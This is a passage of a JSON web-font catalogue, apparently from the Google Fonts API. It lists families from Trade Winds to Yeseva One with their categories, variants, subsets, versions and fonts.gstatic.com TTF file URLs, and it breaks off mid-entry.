"http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR1pXkXIBsShiVd4.ttf", "800": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR11XUXIBsShiVd4.ttf", "900": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR1RXEXIBsShiVd4.ttf", "100italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLirETNbFtZCeGqgRXXQwHoLOqtgE5h0A.ttf", "200italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ63JDMCDjEd4yVY.ttf", "300italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ8nKDMCDjEd4yVY.ttf", "regular": "http://fonts.gstatic.com/s/tomorrow/v2/WBLmrETNbFtZCeGqgSXVcWHALdio.ttf", "italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLgrETNbFtZCeGqgRXXe2XiKMiokE4.ttf", "500italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ5HLDMCDjEd4yVY.ttf", "600italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ73MDMCDjEd4yVY.ttf", "700italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ9nNDMCDjEd4yVY.ttf", "800italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ8XODMCDjEd4yVY.ttf", "900italic": "http://fonts.gstatic.com/s/tomorrow/v2/WBLjrETNbFtZCeGqgRXXQ-HPDMCDjEd4yVY.ttf" } }, { "kind": "webfonts#webfont", "family": "Trade Winds", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tradewinds/v8/AYCPpXPpYNIIT7h8-QenM3Jq7PKP5Z_G.ttf" } }, { "kind": "webfonts#webfont", "family": "Trirong", "category": "serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/trirong/v5/7r3EqXNgp8wxdOdOl-go3YRl6ujngw.ttf", "200": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOl0QJ_a5L5uH-mts.ttf", "300": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlyAK_a5L5uH-mts.ttf", "500": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOl3gL_a5L5uH-mts.ttf", "600": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOl1QM_a5L5uH-mts.ttf", "700": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlzAN_a5L5uH-mts.ttf", "800": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlywO_a5L5uH-mts.ttf", "900": "http://fonts.gstatic.com/s/trirong/v5/7r3DqXNgp8wxdOdOlwgP_a5L5uH-mts.ttf", "100italic": "http://fonts.gstatic.com/s/trirong/v5/7r3CqXNgp8wxdOdOn44QuY5hyO33g8IY.ttf", "200italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QFa9B4sP7itsB5g.ttf", "300italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QcaxB4sP7itsB5g.ttf", "regular": "http://fonts.gstatic.com/s/trirong/v5/7r3GqXNgp8wxdOdOr4wi2aZg-ug.ttf", "italic": "http://fonts.gstatic.com/s/trirong/v5/7r3EqXNgp8wxdOdOn44o3YRl6ujngw.ttf", "500italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QKa1B4sP7itsB5g.ttf", "600italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QBapB4sP7itsB5g.ttf", "700italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QYatB4sP7itsB5g.ttf", "800italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QfahB4sP7itsB5g.ttf", "900italic": "http://fonts.gstatic.com/s/trirong/v5/7r3BqXNgp8wxdOdOn44QWalB4sP7itsB5g.ttf" } }, { "kind": "webfonts#webfont", "family": "Trocchi", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/trocchi/v8/qWcqB6WkuIDxDZLcDrtUvMeTYD0.ttf" } }, { "kind": "webfonts#webfont", "family": "Trochut", "category": "display", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/trochut/v7/CHymV-fDDlP9bDIw3sinWVokMnIllmA.ttf", "regular": "http://fonts.gstatic.com/s/trochut/v7/CHyjV-fDDlP9bDIw5nSIfVIPLns.ttf", "italic": "http://fonts.gstatic.com/s/trochut/v7/CHyhV-fDDlP9bDIw1naCeXAKPns8jw.ttf" } }, { "kind": "webfonts#webfont", "family": "Trykker", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/trykker/v8/KtktALyWZJXudUPzhNnoOd2j22U.ttf" } }, { "kind": "webfonts#webfont", "family": "Tulpen One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tulpenone/v9/dFa6ZfeC474skLgesc0CWj0w_HyIRlE.ttf" } }, { "kind": "webfonts#webfont", "family": "Turret Road", "category": "display", "variants": [ "200", "300", "regular", "500", "700", "800" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "200": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0ONEdeLYk1Mq3ap.ttf", "300": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0PpEteLYk1Mq3ap.ttf", "500": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0OxE9eLYk1Mq3ap.ttf", "700": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0P5FdeLYk1Mq3ap.ttf", "800": "http://fonts.gstatic.com/s/turretroad/v1/pxidypMgpcBFjE84Zv-fE0PlFteLYk1Mq3ap.ttf", "regular": "http://fonts.gstatic.com/s/turretroad/v1/pxiAypMgpcBFjE84Zv-fE3tFOvODSVFF.ttf" } }, { "kind": "webfonts#webfont", "family": "Ubuntu", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext" ], "version": "v14", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/ubuntu/v14/4iCv6KVjbNBYlgoC1CzTt2aMH4V_gg.ttf", "500": "http://fonts.gstatic.com/s/ubuntu/v14/4iCv6KVjbNBYlgoCjC3Tt2aMH4V_gg.ttf", "700": "http://fonts.gstatic.com/s/ubuntu/v14/4iCv6KVjbNBYlgoCxCvTt2aMH4V_gg.ttf", "300italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCp6KVjbNBYlgoKejZftWyIPYBvgpUI.ttf", "regular": "http://fonts.gstatic.com/s/ubuntu/v14/4iCs6KVjbNBYlgo6eAT3v02QFg.ttf", "italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCu6KVjbNBYlgoKeg7znUiAFpxm.ttf", "500italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCp6KVjbNBYlgoKejYHtGyIPYBvgpUI.ttf", "700italic": "http://fonts.gstatic.com/s/ubuntu/v14/4iCp6KVjbNBYlgoKejZPsmyIPYBvgpUI.ttf" } }, { "kind": "webfonts#webfont", "family": "Ubuntu Condensed", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/ubuntucondensed/v10/u-4k0rCzjgs5J7oXnJcM_0kACGMtf-fVqvHoJXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Ubuntu Mono", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/ubuntumono/v9/KFO-CneDtsqEr0keqCMhbC-BL-Hyv4xGemO1.ttf", "regular": "http://fonts.gstatic.com/s/ubuntumono/v9/KFOjCneDtsqEr0keqCMhbBc9AMX6lJBP.ttf", "italic": "http://fonts.gstatic.com/s/ubuntumono/v9/KFOhCneDtsqEr0keqCMhbCc_CsHYkYBPY3o.ttf", "700italic": "http://fonts.gstatic.com/s/ubuntumono/v9/KFO8CneDtsqEr0keqCMhbCc_Mn33tYhkf3O1GVg.ttf" } }, { "kind": "webfonts#webfont", "family": "Ultra", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ultra/v12/zOLy4prXmrtY-tT6yLOD6NxF.ttf" } }, { "kind": "webfonts#webfont", "family": "Uncial Antiqua", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/uncialantiqua/v7/N0bM2S5WOex4OUbESzoESK-i-PfRS5VBBSSF.ttf" } }, { "kind": "webfonts#webfont", "family": "Underdog", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/underdog/v8/CHygV-jCElj7diMroVSiU14GN2Il.ttf" } }, { "kind": "webfonts#webfont", "family": "Unica One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/unicaone/v7/DPEuYwWHyAYGVTSmalshdtffuEY7FA.ttf" } }, { "kind": "webfonts#webfont", "family": "UnifrakturCook", "category": "display", "variants": [ "700" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/unifrakturcook/v11/IurA6Yli8YOdcoky-0PTTdkm56n05Uw13ILXs-h6.ttf" } }, { "kind": "webfonts#webfont", "family": "UnifrakturMaguntia", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/unifrakturmaguntia/v10/WWXPlieVYwiGNomYU-ciRLRvEmK7oaVun2xNNgNa1A.ttf" } }, { "kind": "webfonts#webfont", "family": "Unkempt", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/unkempt/v11/2EbiL-Z2DFZue0DScTow1zWzq_5uT84.ttf", "regular": "http://fonts.gstatic.com/s/unkempt/v11/2EbnL-Z2DFZue0DSSYYf8z2Yt_c.ttf" } }, { "kind": "webfonts#webfont", "family": "Unlock", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/unlock/v9/7Au-p_8ykD-cDl7GKAjSwkUVOQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Unna", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v13", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/unna/v13/AYCLpXzofN0NMiQusGnpRFpr3vc.ttf", "regular": "http://fonts.gstatic.com/s/unna/v13/AYCEpXzofN0NCpgBlGHCWFM.ttf", "italic": "http://fonts.gstatic.com/s/unna/v13/AYCKpXzofN0NOpoLkEPHSFNyxw.ttf", "700italic": "http://fonts.gstatic.com/s/unna/v13/AYCJpXzofN0NOpozLGzjQHhuzvef5Q.ttf" } }, { "kind": "webfonts#webfont", "family": "VT323", "category": "monospace", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vt323/v11/pxiKyp0ihIEF2hsYHpT2dkNE.ttf" } }, { "kind": "webfonts#webfont", "family": "Vampiro One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vampiroone/v10/gokqH6DoDl5yXvJytFsdLkqnsvhIor3K.ttf" } }, { "kind": "webfonts#webfont", "family": "Varela", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/varela/v10/DPEtYwqExx0AWHXJBBQFfvzDsQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Varela Round", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "hebrew", "latin", "latin-ext", "vietnamese" ], "version": "v12", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/varelaround/v12/w8gdH283Tvk__Lua32TysjIvoMGOD9gxZw.ttf" } }, { "kind": "webfonts#webfont", "family": "Vast Shadow", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vastshadow/v9/pe0qMImKOZ1V62ZwbVY9dfe6Kdpickwp.ttf" } }, { "kind": "webfonts#webfont", "family": "Vesper Libre", "category": "serif", "variants": [ "regular", "500", "700", "900" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6dNxyWnf-uxPdXDHUD_RdA-2ap0okKXKvPlw.ttf", "700": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6dNxyWnf-uxPdXDHUD_RdAs2Cp0okKXKvPlw.ttf", "900": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6dNxyWnf-uxPdXDHUD_RdAi2Kp0okKXKvPlw.ttf", "regular": "http://fonts.gstatic.com/s/vesperlibre/v11/bx6CNxyWnf-uxPdXDHUD_Rd4D0-N2qIWVQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Viaoda Libre", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v2", "lastModified": "2020-05-06", "files": { "regular": "http://fonts.gstatic.com/s/viaodalibre/v2/vEFW2_lWCgoR6OKuRz9kcRVJb2IY2tOHXg.ttf" } }, { "kind": "webfonts#webfont", "family": "Vibes", "category": "display", "variants": [ "regular" ], "subsets": [ "arabic", "latin" ], "version": "v1", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/vibes/v1/QdVYSTsmIB6tmbd3HpbsuBlh.ttf" } }, { "kind": "webfonts#webfont", "family": "Vibur", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vibur/v10/DPEiYwmEzw0QRjTpLjoJd-Xa.ttf" } }, { "kind": "webfonts#webfont", "family": "Vidaloka", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/vidaloka/v12/7cHrv4c3ipenMKlEass8yn4hnCci.ttf" } }, { "kind": "webfonts#webfont", "family": "Viga", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/viga/v8/xMQbuFFdSaiX_QIjD4e2OX8.ttf" } }, { "kind": "webfonts#webfont", "family": "Voces", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/voces/v9/-F6_fjJyLyU8d4PBBG7YpzlJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Volkhov", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/volkhov/v11/SlGVmQieoJcKemNeeY4hoHRYbDQUego.ttf", "regular": "http://fonts.gstatic.com/s/volkhov/v11/SlGQmQieoJcKemNeQTIOhHxzcD0.ttf", "italic": "http://fonts.gstatic.com/s/volkhov/v11/SlGSmQieoJcKemNecTAEgF52YD0NYw.ttf", "700italic": "http://fonts.gstatic.com/s/volkhov/v11/SlGXmQieoJcKemNecTA8PHFSaBYRagrQrA.ttf" } }, { "kind": "webfonts#webfont", "family": "Vollkorn", "category": "serif", "variants": [ "regular", "500", "600", "700", "800", "900", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2020-05-13", "files": { "500": "http://fonts.gstatic.com/s/vollkorn/v11/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2AnGuGWOdEbD63w.ttf", "600": "http://fonts.gstatic.com/s/vollkorn/v11/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df27nauGWOdEbD63w.ttf", "700": "http://fonts.gstatic.com/s/vollkorn/v11/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df213auGWOdEbD63w.ttf", "800": "http://fonts.gstatic.com/s/vollkorn/v11/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2sHauGWOdEbD63w.ttf", "900": "http://fonts.gstatic.com/s/vollkorn/v11/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2mXauGWOdEbD63w.ttf", "regular": "http://fonts.gstatic.com/s/vollkorn/v11/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2MHGuGWOdEbD63w.ttf", "italic": "http://fonts.gstatic.com/s/vollkorn/v11/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DJGWmmZM7Xq34g9.ttf", "500italic": "http://fonts.gstatic.com/s/vollkorn/v11/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DJ0WmmZM7Xq34g9.ttf", "600italic": "http://fonts.gstatic.com/s/vollkorn/v11/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DKYXWmZM7Xq34g9.ttf", "700italic": "http://fonts.gstatic.com/s/vollkorn/v11/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DKhXWmZM7Xq34g9.ttf", "800italic": "http://fonts.gstatic.com/s/vollkorn/v11/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DLGXWmZM7Xq34g9.ttf", "900italic": "http://fonts.gstatic.com/s/vollkorn/v11/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DLvXWmZM7Xq34g9.ttf" } }, { "kind": "webfonts#webfont", "family": "Vollkorn SC", "category": "serif", "variants": [ "regular", "600", "700", "900" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v3", "lastModified": "2019-07-16", "files": { "600": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_y6-zQ3rXpceZj9cqnVimhGluqYbPN5Yjn.ttf", "700": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_y6-zQ3rXpceZj9cqnVinFG1uqYbPN5Yjn.ttf", "900": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_y6-zQ3rXpceZj9cqnVin9GVuqYbPN5Yjn.ttf", "regular": "http://fonts.gstatic.com/s/vollkornsc/v3/j8_v6-zQ3rXpceZj9cqnVhF5NH-iSq_E.ttf" } }, { "kind": "webfonts#webfont", "family": "Voltaire", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/voltaire/v9/1Pttg8PcRfSblAvGvQooYKVnBOif.ttf" } }, { "kind": "webfonts#webfont", "family": "Waiting for the Sunrise", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/waitingforthesunrise/v10/WBL1rFvOYl9CEv2i1mO6KUW8RKWJ2zoXoz5JsYZQ9h_ZYk5J.ttf" } }, { "kind": "webfonts#webfont", "family": "Wallpoet", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/wallpoet/v11/f0X10em2_8RnXVVdUNbu7cXP8L8G.ttf" } }, { "kind": "webfonts#webfont", "family": "Walter Turncoat", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/walterturncoat/v10/snfys0Gs98ln43n0d-14ULoToe67YB2dQ5ZPqQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Warnes", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/warnes/v9/pONn1hc0GsW6sW5OpiC2o6Lkqg.ttf" } }, { "kind": "webfonts#webfont", "family": "Wellfleet", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/wellfleet/v7/nuF7D_LfQJb3VYgX6eyT42aLDhO2HA.ttf" } }, { "kind": "webfonts#webfont", "family": "Wendy One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/wendyone/v8/2sDcZGJOipXfgfXV5wgDb2-4C7wFZQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Wire One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/wireone/v10/qFdH35Wah5htUhV75WGiWdrCwwcJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Work Sans", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900", "100italic", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v7", "lastModified": "2020-03-20", "files": { "100": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nWNigDp6_cOyA.ttf", "200": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K8nXNigDp6_cOyA.ttf", "300": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32KxfXNigDp6_cOyA.ttf", "500": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K3vXNigDp6_cOyA.ttf", "600": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K5fQNigDp6_cOyA.ttf", "700": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K67QNigDp6_cOyA.ttf", "800": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K8nQNigDp6_cOyA.ttf", "900": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K-DQNigDp6_cOyA.ttf", "regular": "http://fonts.gstatic.com/s/worksans/v7/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nXNigDp6_cOyA.ttf", "100italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU3moJo43ZKyDSQQ.ttf", "200italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUXmsJo43ZKyDSQQ.ttf", "300italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUgGsJo43ZKyDSQQ.ttf", "italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU3msJo43ZKyDSQQ.ttf", "500italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU7GsJo43ZKyDSQQ.ttf", "600italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUAGwJo43ZKyDSQQ.ttf", "700italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUOWwJo43ZKyDSQQ.ttf", "800italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUXmwJo43ZKyDSQQ.ttf", "900italic": "http://fonts.gstatic.com/s/worksans/v7/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUd2wJo43ZKyDSQQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Yanone Kaffeesatz", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "latin", "latin-ext", "vietnamese" ], "version": "v14", "lastModified": "2020-02-05", "files": { "200": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftodtWpcGuLCnXkVA.ttf", "300": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoqNWpcGuLCnXkVA.ttf", "500": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoxNWpcGuLCnXkVA.ttf", "600": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoKNKpcGuLCnXkVA.ttf", "700": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoEdKpcGuLCnXkVA.ttf", "regular": "http://fonts.gstatic.com/s/yanonekaffeesatz/v14/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIfto9tWpcGuLCnXkVA.ttf" } }, { "kind": "webfonts#webfont", "family": "Yantramanav", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/yantramanav/v5/flU-Rqu5zY00QEpyWJYWN5-QXeNzDB41rZg.ttf", "300": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN59Yf8NZIhI8tIHh.ttf", "500": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN58AfsNZIhI8tIHh.ttf", "700": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN59IeMNZIhI8tIHh.ttf", "900": "http://fonts.gstatic.com/s/yantramanav/v5/flUhRqu5zY00QEpyWJYWN59wesNZIhI8tIHh.ttf", "regular": "http://fonts.gstatic.com/s/yantramanav/v5/flU8Rqu5zY00QEpyWJYWN6f0V-dRCQ41.ttf" } }, { "kind": "webfonts#webfont", "family": "Yatra One", "category": "display", "variants": [ "regular" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/yatraone/v6/C8ch4copsHzj8p7NaF0xw1OBbRDvXw.ttf" } }, { "kind": "webfonts#webfont", "family": "Yellowtail", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/yellowtail/v10/OZpGg_pnoDtINPfRIlLotlzNwED-b4g.ttf" } }, { "kind": "webfonts#webfont", "family": "Yeon Sung", "category": "display", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/yeonsung/v8/QldMNTpbohAGtsJvUn6xSVNazqx2xg.ttf" } }, { "kind": "webfonts#webfont", "family": "Yeseva One", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext", "vietnamese" ], "version": "v14", "lastModified": "2019-07-16", "files": { "regular": 